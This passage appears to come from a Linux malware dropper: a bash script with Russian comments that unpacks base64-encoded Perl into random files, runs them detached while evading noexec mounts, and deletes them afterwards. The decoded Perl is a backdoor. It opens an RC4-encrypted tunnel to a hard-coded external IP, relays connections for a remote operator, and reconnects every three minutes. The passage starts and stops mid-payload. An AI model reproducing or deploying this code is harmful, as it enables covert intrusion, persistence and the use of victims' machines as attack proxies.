wLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_3de5c942() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZ